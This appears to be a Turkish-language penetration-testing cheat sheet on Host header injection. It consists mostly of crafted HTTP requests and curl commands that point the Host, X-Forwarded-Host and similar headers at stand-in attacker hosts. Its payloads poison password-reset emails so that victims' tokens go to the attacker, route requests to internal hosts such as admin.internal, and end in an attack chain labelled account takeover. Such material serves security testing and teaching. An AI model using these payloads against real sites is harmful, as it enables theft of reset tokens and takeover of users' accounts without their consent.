Skip to content

Host Header Injection

OWASP A05 difficulty: orta

Uygulamalar sıklıkla Host başlığını (veya X-Forwarded-Host) mutlak URL üretmek için kullanır. Saldırgan bu başlığı kontrol edebiliyorsa; parola sıfırlama bağlantısını, önbelleği veya yönlendirmeyi zehirleyebilir.

GET / HTTP/1.1
Host: attacker.example
GET / HTTP/1.1
Host: victim.com
X-Forwarded-Host: attacker.example
GET / HTTP/1.1
Host: victim.com
X-Host: attacker.example
X-Forwarded-Server: attacker.example
X-HTTP-Host-Override: attacker.example
Forwarded: host=attacker.example
# Çift Host / belirsizlik
Host: victim.com
Host: attacker.example
# Mutlak URL istek satırı
GET https://attacker.example/ HTTP/1.1
Host: victim.com
# Port / userinfo / boşluk
Host: victim.com:bad
Host: victim.com:@attacker.example
Host: victim.com attacker.example

Host reddedilirse X-Forwarded-* dene — ters vekiller bunları uygulamaya iletir.

  1. Parola sıfırlama zehirleme — e-postadaki link Host ’tan üretiliyorsa: E-posta: https://attacker.example/reset?token=SECRET → token saldırgana.

    POST /forgot-password HTTP/1.1
    Host: attacker.example
    Content-Type: application/x-www-form-urlencoded
    email=victim@corp.com
  2. X-Forwarded-Host ile aynı — Host: victim.com zorunluysa:

    POST /forgot-password HTTP/1.1
    Host: victim.com
    X-Forwarded-Host: attacker.example
  3. Cache poisoning — yansıyan host + unkeyed header → Web Cache Poisoning .

  4. Routing / SSRF — LB Host’a göre backend seçiyorsa:

    Host: localhost
    Host: admin.internal
    Host: 127.0.0.1
    Host: backend.local
  5. Password reset + open redirect — Host allow-list’te ama path open redirect ile attacker’a sıçrar.

  6. OAuth / magic link — redirect_uri veya davet URL’si Host’tan üretiliyorsa token/code sızıntısı.

Terminal window
curl -i https://hedef/ \
-H 'Host: uniq.attacker.example' \
| grep -i uniq.attacker
Terminal window
curl -i https://hedef/ \
-H 'Host: hedef.com' \
-H 'X-Forwarded-Host: uniq.attacker.example' \
| grep -i uniq.attacker

Yanıt gövdesi, Location, Link, e-posta şablonu veya şifre sıfırlama linkinde yansıma ara.

GET https://evil.example/reset HTTP/1.1
Host: victim.com
GET / HTTP/1.1
Host: victim.com
Host: evil.example

Bazı proxy’ler ilk Host’u routing, ikincisini uygulamaya verir (veya tersi).

□ Host / X-Forwarded-Host / Forwarded / X-Host
□ Çift Host başlığı
□ Sıfırlama / davet / magic link e-postaları
□ OAuth redirect URL üretimi
□ Cache + Host kombinasyonu
□ Virtual host routing (internal names)
□ Password reset token'ın attacker host'a gelmesi (PoC hesabı)
X-Forwarded-Host yansıyor
→ forgot-password + attacker host
→ e-postadaki token'ı yakala
→ hesap devral
Internal Host routing
→ Host: admin.internal
→ gölge panel / debug